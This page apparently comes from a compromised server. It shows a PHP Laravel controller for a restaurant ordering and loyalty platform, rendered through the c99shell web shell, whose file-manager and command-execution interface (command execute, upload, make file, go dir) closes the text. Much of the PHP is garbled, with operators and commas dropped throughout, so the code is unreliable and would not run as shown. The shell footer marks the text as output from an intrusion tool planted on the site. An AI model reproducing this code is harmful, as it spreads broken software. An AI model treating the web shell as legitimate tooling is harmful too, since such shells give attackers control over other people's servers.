$plans config('settings.forceUserToPay',false)?Plans::where('id','!=',intval(config('settings.free_pricing_id')))->get()->toArray():Plans::get()->toArray();
        
$colCounter = [126434444444444444];
        return 
view('taxilanding.onboarding',[
            
'faqs' =>  Process::where('post_type''faq')->get(),
            
'col'=>$colCounter[count($plans)],
            
'plans'=>$plans,
        ]);
    }

    public function 
loyalty($alias)
    {
        return 
$this->loyaltyPlatform(Restorant::whereRaw('REPLACE(subdomain, "-", "") = ?', [str_replace("-","",$alias)])->first());
    }

    public function 
loyaltyPlatform($company){

        
//Set config based on restaurant
        
config(['app.timezone' => $company->getConfig('time_zone',config('app.timezone'))]);

        
//Change Language
        
ConfChanger::switchLanguage($company);

        
//Change currency
        
ConfChanger::switchCurrency($company);

        
$currentEnvLanguage = isset(config('config.env')[2]['fields'][0]['data'][config('app.locale')]) ? config('config.env')[2]['fields'][0]['data'][config('app.locale')] : 'UNKNOWN';


        
$company->increment('views');

        
$viewFile='cards::company.landing';

        
session(['last_visited_restaurant_alias' => $company->alias]);


        
$viewData=[
             
'faqs' =>  Process::where('post_type''loyaltyfaq')->where('vendor_id',$company->id)->get(),
             
'rewards' =>  Process::where('post_type''reward')->where('vendor_id',$company->id)->get(),
             
'company' => $company,
             
'currentLanguage'=>$currentEnvLanguage,
        ];

        if(
Auth::user()){
            
$viewData['card']=\Modules\Cards\Models\Card::where('client_id',auth()->user()->id)->where('vendor_id',$company->id)->first();
            if(
$viewData['card']==null){
                
//dispatch new user event for this vendor
                
NewClient::dispatch(auth()->user(),$company);
                
$viewData['card']=\Modules\Cards\Models\Card::where('client_id',auth()->user()->id)->where('vendor_id',$company->id)->first();
            }
        }



        
$response = new \Illuminate\Http\Response(view($viewFile,$viewData));
        return 
$response;
    }



    public function 
restorant($alias)
    {
        
//Do we have impressum app
        
$doWeHaveImpressumApp=Module::has('impressum');

        
$subDomain $this->getSubDomain();
        if (
$subDomain && $alias !== $subDomain) {
            return 
redirect()->route('restorant'$subDomain);
        }
        
$restorant Restorant::whereRaw('REPLACE(subdomain, "-", "") = ?', [str_replace("-","",$alias)])->first();

        if(
config('app.isloyalty',false)&&$restorant){
            return 
$this->loyaltyPlatform($restorant);
        }


        
$doWeHaveOrderAfterHours=Module::has('orderdatetime')&&$restorant->getConfig('order_date_time_enable',false);

        
//Template switcher
        
$menuTemplate=config('settings.front_end_template','defaulttemplate');
        if(
Module::has('themeswitcher')){
            
$vendorTemplate=$restorant->getConfig('menu_template',$menuTemplate);
            
//dd($vendorTemplate);
            
config(['settings.front_end_template' =>$vendorTemplate ]);
            
$menuTemplate=$vendorTemplate;
        }


        
//Do we have google translate app
        
$doWeHaveGoogleTranslateApp=Module::has('googletranslate')&&$restorant->getConfig('gt_enable',false)=="true";

        if (
$restorant && $restorant->active == 1) {

            if(
config('settings.is_pos_cloud_mode')){
                return 
redirect(route('admin.restaurants.edit',$restorant->id));
            }

            
//Set config based on restaurant
            
config(['app.timezone' => $restorant->getConfig('time_zone',config('app.timezone'))]);



            if(isset(
$_GET['pay'])){
                
//This is a payment link
                
$order=Order::findOrFail($_GET['pay']);
                if(
$order->restorant_id==$restorant->id){
                    return 
redirect($order->payment_link);
                }
            }

            
$restorant->increment('views');

            
$canDoOrdering $restorant->getPlanAttribute()['canMakeNewOrder'];

            
//ratings usernames
            
$usernames = [];
            if(
config('app.isft')){
                if (
$restorant && $restorant->ratings) {
                    foreach (
$restorant->ratings as $rating) {
                        
$user User::where('id'$rating->user_id)->get()->first();

                        if (! 
array_key_exists($user->id$usernames)) {
                            
$new_obj = (object) [];
                            
$new_obj->name $user->name;

                            
$usernames[$user->id] = (object) $new_obj;
                        }
                    }
                }
            }



            
$previousOrders Cookie::get('orders') ? Cookie::get('orders') : '';
            
$previousOrderArray array_filter(explode(','$previousOrders));

            
//tables
            
$tablesData = [];
            
$tables Tables::where('restaurant_id'$restorant->id)->get();
            foreach (
$tables as $key => $table) {
                
$tablesData[$table->id] = $table->restoarea $table->restoarea->name.' - '.$table->name $table->name;
            }

            
//Change Language
            
ConfChanger::switchLanguage($restorant);

            
//Change currency
            
ConfChanger::switchCurrency($restorant);

            
$currentEnvLanguage = isset(config('config.env')[2]['fields'][0]['data'][config('app.locale')]) ? config('config.env')[2]['fields'][0]['data'][config('app.locale')] : 'UNKNOWN';

            
//dd($restorant->categories[1]->items[0]->extras);
           // dd(Categories::where('restorant_id',$restorant->id)->ordered()->get());

           
$businessHours=$restorant->getBusinessHours();

           
$tz$restorant->getConfig('time_zone',config('app.timezone'));
           
$now = new \DateTime('now',new \DateTimeZone($tz));

           
$formatter = new \IntlDateFormatter(config('app.locale'), \IntlDateFormatter::SHORT\IntlDateFormatter::SHORT);
           
$formatter->setPattern(config('settings.datetime_workinghours_display_format_new'));
           
$formatter->setTimeZone($tz);


           
$viewFile='restorants.show';
           if(
$menuTemplate!='defaulttemplate'){
            
$viewFile=config('settings.front_end_template','defaulttemplate')."::show";
           }


           
$wh=$businessHours->forWeek();


           
$canDoOrdering=$canDoOrdering&&($businessHours->isOpen()||$doWeHaveOrderAfterHours);
           if (
$restorant->getConfig('disable_ordering'false)){
            
$canDoOrdering=false;
           }

           
$openingTime=null;
           
$closingTime=null;
           try {
            
$openingTime=$businessHours->isClosed()?$formatter->format($businessHours->nextOpen($now)):null;
            
$closingTime=$businessHours->isOpen()?$formatter->format($businessHours->nextClose($now)):null;
           } catch (
MaximumLimitExceeded $th) {
               
//throw $th;
           
}

           
session(['last_visited_restaurant_alias' => $restorant->alias]);


           
$viewData=[
                
'wh'=>$wh,
                
'allergens'=>in_array("allergens"config('global.modules',[]))?Allergens::where('post_type','allergen')->get():[],
                
'currentDay'=>strtolower((new DateTime())->format('l')),
                
'doWeHaveImpressumApp'=>$doWeHaveImpressumApp,
                
'restorant' => $restorant,
                
'openingTime' => $openingTime,
                
'closingTime' => $closingTime,
                
'doWeHaveOrderAfterHours'=> $doWeHaveOrderAfterHours,
                
'usernames' => $usernames,
                
'canDoOrdering'=>$canDoOrdering,
                
'currentLanguage'=>$currentEnvLanguage,
                
'showGoogleTranslate'=>$doWeHaveGoogleTranslateApp,
                
'showAllGTLanguages'=>$restorant->getConfig('gt_all',true),
                
'showGTLanguages'=>$restorant->getConfig('gt_list',""),
                
'showLanguagesSelector'=>env('ENABLE_MILTILANGUAGE_MENUS'false) && $restorant->localmenus()->count() > 1,
                
'hasGuestOrders'=>count($previousOrderArray) > 0,
                
'fields'=>[['class'=>'col-12''classselect'=>'noselecttwo''ftype'=>'select''name'=>'Table''id'=>'table_id''placeholder'=>'Select table''data'=>$tablesData'required'=>true]],
           ];


           
$response = new \Illuminate\Http\Response(view($viewFile,$viewData));

           if(isset(
$_GET['tid'])){
                
$response->withCookie(cookie('tid'$_GET['tid'], 360));
           }else{
                
$response->withCookie(cookie('tid',""360));
           }

            return 
$response;
        } else {
            return 
abort(404,__('The selected restaurant is not active at this moment!'));
        }
    }

    public function 
findByLocation(Request $request)
    {
        return 
view('restorants.location');
    }

    public function 
getCurrentLocation(Request $request)
    {
        
$client = new \GuzzleHttp\Client();
        
$geocoder = new Geocoder($client);
        
$geocoder->setApiKey(config('geocoder.key'));
        
$res $geocoder->getAddressForCoordinates($request->lat$request->lng);

        return 
response()->json([
            
'data' => $res,
            
'status' => true,
            
'errMsg' => '',
        ]);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0108 ]--